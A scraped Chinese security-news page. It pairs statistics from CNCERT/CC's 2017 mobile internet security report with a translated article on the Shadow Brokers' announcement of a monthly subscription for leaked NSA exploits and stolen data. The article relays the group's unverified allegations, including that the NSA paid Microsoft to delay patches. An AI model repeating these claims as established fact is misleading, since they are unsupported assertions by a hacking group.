网民使用Android操作系统比例高达83.02%。2016年中国境内活跃的智能手机达23.3亿部,较2015年增长106%。在所有智能手机设备中,境内手机网民上网时所用设备的操作系统集中在Android、iOS、Symbian和WindowsPhone这四个操作系统。其中,运行Android系统的智能手机最多,数量达19.3亿部,占所有智能手机数量的83.02%。其次是运行iOS系统的iPhone智能手机,数量达3.1亿部,占所有智能手机数量的13.20%。排名第三和第四的是运行Symbian系统和WindowsPhone系统的智能手机,其占所有智能手机的比例分别为3.64%和0.13%。结果显示,绝大多数网民使用Android或iOS操作系统的设备上网,其使用比例超过了总数的95%。

 《中国移动互联网发展状况及其安全报告(2017)》 -E安全

图2 2016年我国境内手机网民上网设备操作系统分布(来源:CNCERT/CC)

2016年境内手机网民上网使用智能手机最多的前三个品牌是苹果、小米和华为,超半数网民使用国产手机品牌上网。2016年境内手机网民上网时使用智能手机数量最多的品牌是苹果,网民使用比例达到16.00%。排名第二和第三的智能手机品牌是小米和华为,网民使用比例分别是14.46%和13.88%。三星手机的使用比例从2015年的15.78%下降至13.16%,排名第四。图3显示了境内手机网民上网使用智能数量最多的前十个手机品牌,使用这10个品牌手机上网的网民已占所有网民的90%以上,其中境内手机品牌有6个,分别为小米、华为、OPPO、VIVO、酷派和联想,占所有智能手机数量的52.11%,境外手机品牌有4个,分别为苹果、三星、LG和HTC,占所有智能手机数量的38.16%。

 《中国移动互联网发展状况及其安全报告(2017)》 -E安全

图3?2016年我国境内手机网民使用量排名前十的手机品牌(来源:CNCERT/CC)

2016年境内手机网民上网最常访问的域名是qq.com,访问量所占比例分别达19.03%。2016年境内手机网民上网时最常访问的10个一级域名如图4所示,其中排名前三的一级域名分别为qq.com、baidu.com和qpic.com,其访问量依次为19.03%、16.54%和15.89%。前10个一级域名的访问量占所有一级域名访问量的51.46%,其域名分别属于腾讯、百度、阿里巴巴、苹果、优酷和美团等6家公司,其中优酷和美团替代了优视和搜狗进入前十。

 《中国移动互联网发展状况及其安全报告(2017)》 -E安全

图4 2016年我国境内手机网民上网最常访问的10个一级域名(来源:CNCERT/CC)

2016年境内拥有用户量最多的前三个APP是微信、QQ和百度地图。2016年境内手机网民上网时最常使用的10个APP如图5所示,其中排名前三的APP分别为微信、QQ和百度地图,其用户量分别为10.03亿、9.78亿和6.56亿。

 《中国移动互联网发展状况及其安全报告(2017)》 -E安全

图5 2016年我国境内用户数量最多的10个APP(来源:CNCERT/CC)

2016年CNCERT/CC捕获及通过厂商交换获得的移动互联网恶意程序样本数量为2,053,501个。

 《中国移动互联网发展状况及其安全报告(2017)》 -E安全

图6:2005-2016年移动互联网恶意程序数量统计(来源:CNCERT/CC)

Android平台用户成为最主要的攻击对象。2016年移动互联网恶意程序主要针对Android平台,共有2,053,450个,占99.9%以上,位居第一。其次是Symbian平台,共有51个,占0.01%。2016年,iOS平台和J2ME平台的恶意程序数量均未捕获。由此可见,目前移动互联网地下产业的目标趋于集中,Android平台用户成为最主要的攻击对象。2016年移动互联网恶意程序数量按操作系统分布如图7所示。

 《中国移动互联网发展状况及其安全报告(2017)》 -E安全

图7:2016年移动互联网恶意程序数量按操作系统分布(来源:CNCERT/CC)

2016年流氓行为类的恶意程序数量仍居首位。2016年CNCERT/CC捕获和通过厂商交换获得的移动互联网恶意程序按行为属性统计,流氓行为类的恶意程序数量为1,255,301个(占61.13%),恶意扣费类373,212个(占18.17%)、资费消耗类278,481个(占13.56%)分列第二、三位。2016年,CNCERT/CC组织通信行业开展了12次移动互联网恶意程序专项治理行动,着重针对影响范围大、安全风险较高的电信诈骗类恶意程序进行治理,结果显示诱骗欺诈类和恶意传播类恶意程序的治理效果显著,样本数量减少近19.9万个,其比例分别由2015年的7.21%和7.03%下降至2016年的0.43%和0.12%。2016年移动互联网恶意程序数量按行为属性统计见图8。

 《中国移动互联网发展状况及其安全报告(2017)》 -E安全

图8:2016年移动互联网恶意程序数量按行为属性统计(来源:CNCERT/CC)

2016年境内感染移动恶意程序用户数量最多的操作系统是Android。2016我国境内感染移动恶意程序用户数量最多的操作系统为Android、Symbian和iOS,占比分别为70.3%、 18.8%和10.9%。2016年我国境内感染移动恶意程序用户按照操作系统分布见图9。

 《中国移动互联网发展状况及其安全报告(2017)》 -E安全

图9:2016年我国境内感染移动恶意程序用户按照操作系统分布(来源:CNCERT/CC)

此外,报告从恶意程序传播源治理情况、邮箱治理情况、举报管理情况以及移动互联网勒索现象研究等方面分析了移动互联网安全治理情况。0day

影子经纪人六月开闸放货,可能将成就一大批勒索者

E安全5月16日讯 窃取并公开美国国家安全局(简称:NSA)网络武器库的“影子经纪人”(Shadow Brokers)黑客组织刚刚宣称:将从今年6月开始,逐月出售包括浏览器、路由器、手机漏洞及相关工具、新的攻击行动disk(和此次传播勒索蠕虫病毒的Windows武器库一样,包括NSA支持的Windows 10网络攻击武器),还有更多的SWIFT供应商和央行入侵数据,以及针对中国、俄罗斯、伊朗和朝鲜的导弹和核弹计划的内部网络数据。

影子经纪人六月开闸放货,可能将成就一大批勒索者-E安全

就在昨天晚间,某宣称代表影子经纪人的人士在Steemit网站上发布了一条新消息。根据这一最新声明,该黑客组织公开了多项主张,同时威胁将发布更多危害性极强的机密信息。

在以下文章中,我们将编译引用影子经纪人的原文内容。如果内容翻译有误可以联系E安全(微信公众号:E安全)进行修正。其中提到的“方程式组织”(The Equation Group)为一个成熟度极高的“持续性威胁”组织,且被广泛认为与美国NSA有所关联。

相关阅读:美国NSA“方程式组织”使用的黑客工具列表及功能解释

影子经纪人表示其对于今年4月的机密信息曝光事件——直接引发了当下正在发生的WannaCrypt/WannaCry勒索软件风波,同时也可能导致更多其它潜在威胁——“负有重要责任”。去年8月,影子经纪人曾警告称NSA方程式组织已经遭遇入侵,而相关信息已经被其掌握。影子经纪人还通过拍卖方式提供了部分内容。为了证明其确实拥有大量值得关注的信息,影子经纪人先后公布了来自方程式组织的2013年防火墙工具以及一项陈旧的思科零日漏洞。然而,人们对于影子经纪人的说法并未采信。

为什么要进行拍卖?影子经纪人对于Bug赏金项目、将信息出售给“网络暴徒”或者“交给贪婪的企业帝国”等作法毫无兴趣。他们希望选择更具价值的对手。影子经纪人实际上是将矛头直接指向了方程式组织,但对方并无意对这些信息进行回购; 而此轮拍卖也没能吸引到任何政府机构、科技企业或者安全厂商的参与。

去年12月,影子经纪人取消了拍卖活动,并决定对这部分敏感信息进行分批出售。尽管如此,仍然没能吸引到买家。面对这样的情况,影子经纪人对结果进行了反思。他们得出的结论是人们之所以不感兴趣,是因为并不相信该组织掌握有高价值信息。

今年1月,影子经纪人发布了多份来自方程式集团2013 Windows Ops Disk内的程序截屏。在公布截屏的同时,他们清楚地意识到方程式集团将认出这些内容,并向微软方面发出警告。

(影子经纪人反对者马特·苏西在一条推文中坦言,‘影子经纪人似乎清楚地意识到,*只有*方程式组织能够从这些截屏当中发现有价值内容。’)

影子经纪人六月开闸放货,可能将成就一大批勒索者-E安全

今年2月,微软公司错过了原本雷打不动的补丁星期二发布。影子经纪人表示,这意味着微软跳过了补丁星期二,旨在对2013 Windows Ops Disk中的漏洞进行修复。3月,微软方面针对各SMB安全漏洞发布了修复补丁。甲骨文公司也修复了“大量安全漏洞”。而影子经纪人仍在等待,而未公布任何漏洞内容。

(这一说法与微软此前发布的MS17-010版本正好相符,此版本解决了多项SMB安全漏洞,也与众多从业者对于2月定期补丁取消一事的猜想不谋而合。)

今年4月,即截屏内容公布的90天之后(也在微软发布补丁的30天之后),影子经纪人正式发布了2013 Windows Ops Disk的相关内容。“为什么不呢?毕竟影子经纪人还掌握着更多漏洞信息……这正是影子经纪人向方程式集团宣战的号角,‘你们的基地已经归我们所有。’影子经纪人对于利用漏洞换取金钱并无兴趣。其所针对的一直都是方程式集团本身。”

影子经纪人在微软发布Windows补丁的30天之后才对这批漏洞信息进行曝光。微软方面与方程式集团间签订了一项价值达“每年数百万甚至数十亿美元”的合同。方程式集团对微软及其它技术企业、俄罗斯、中国、伊朗乃至以色列情报机构进行入侵。事实上,就连谷歌Zero项目也拥有一位前方程式集团成员。大家还记得Zero项目中的“可怕零日漏洞”吗?微软花了两天时间即将其解决——这恐怕很难归结为巧合。

那么,我们能否断言方程式集团向美国各技术企业付费以要求对方在安全漏洞公开披露之后再加以修复?为什么微软公司要秘密发布SMB安全漏洞的修复补丁?方程式集团刻意隐瞒SMB安全漏洞的作法是否令微软感到尴尬?微软认为其已经了解到方程式集团所发现的全部安全漏洞,并接受后者支付的资金以拖延相关补丁的发布。

就这一问题,微软公司首席律师布拉德·史密斯(Brad Smith)被推到了风口浪尖之上。

今年5月,我们并没有发布任何新的安全漏洞,但WannaCry突然出现。从犯罪软件的角度来看,WannaCry实际上非常奇怪。我们很难将其解释为断路开关抑或是打击特定国家的网络武器。亦有传闻指出,WannaCry可能是由朝鲜所一手开发。

马特·苏西在一条推文中提到,“影子经纪人认为,在WannaCry这样的勒索软件当中存在断路开关确实令人感到费解。”他还将WannaCry当中的代码与拉撒路集团(Lazarus Group,曾于2014年对索尼影业发动攻击,并自孟加拉国中央银行处窃取得8100万美元)的已知代码进行了直接比较,并得出结论称WannaCry与朝鲜之间确实存在一种明确但亦有可能属于巧合的联系。

影子经纪人六月开闸放货,可能将成就一大批勒索者-E安全

影子经纪人在文章中继续补充称:

今年6月,影子经纪人将公布“影子经纪人数据曝光月(The Shadow Brokers Data Dump of the Month)”服务。我们计划推出一项新的月度订阅模式,类似于俱乐部每月向会员提供酒水的形式。您按月支付会员费用,而我们则向每位会员提供曝光数据。会员可根据自身意愿对这些数据加以使用。

影子经纪人月度数据曝光服务可能包括:

·?网络浏览器、路由器与手机漏洞及相关工具

·?来自更新Ops Disks中的选定条目,包括适用于Windows 10的其它新型漏洞

·?来自更多SWIFT供应商及中央银行机构的内部网络数据

·?来自俄罗斯、中国、伊朗以及朝鲜的核武器与导弹项目的内部网络数据
更多细节信息将于今年6月正式披露。

如果责任方在全面出售前买下所有丢失数据,则影子经纪人将不再拥有持续出售此类敏感信息的经济动力,并承诺将相关内容永久移除。相信有关方面知道我们的比特币地址。

值得注意的是,文章的最后一部分——包括所有在售条目——重新使用标准英语表达。

马特·苏西在推文中指出,“影子经纪人针对Windows 10的声明暗示其拥有2013年之后的机密文件。那么NSA是否会根据与承包商间的协议而对此持有不同意见?”

影子经纪人六月开闸放货,可能将成就一大批勒索者-E安全

影子经纪人的声明与我们从外部观察的迹象保持一致,这也让人们更为好奇其是否真的已经掌握了全部内幕资料。

E安全注:本文系E安全独家编译报道,转载请联系授权,并保留出处与链接,不得删减内容。联系方式:① 微信号zhu-geliang ②邮箱eapp@easyaq.com

@E安全,最专业的前沿网络安全媒体和产业服务平台,每日提供优质全球网络安全资讯与深度思考,欢迎关注微信公众号「E安全」(EAQapp),或登E安全门户网站www.easyaq.com , 查看更多精彩内容。0day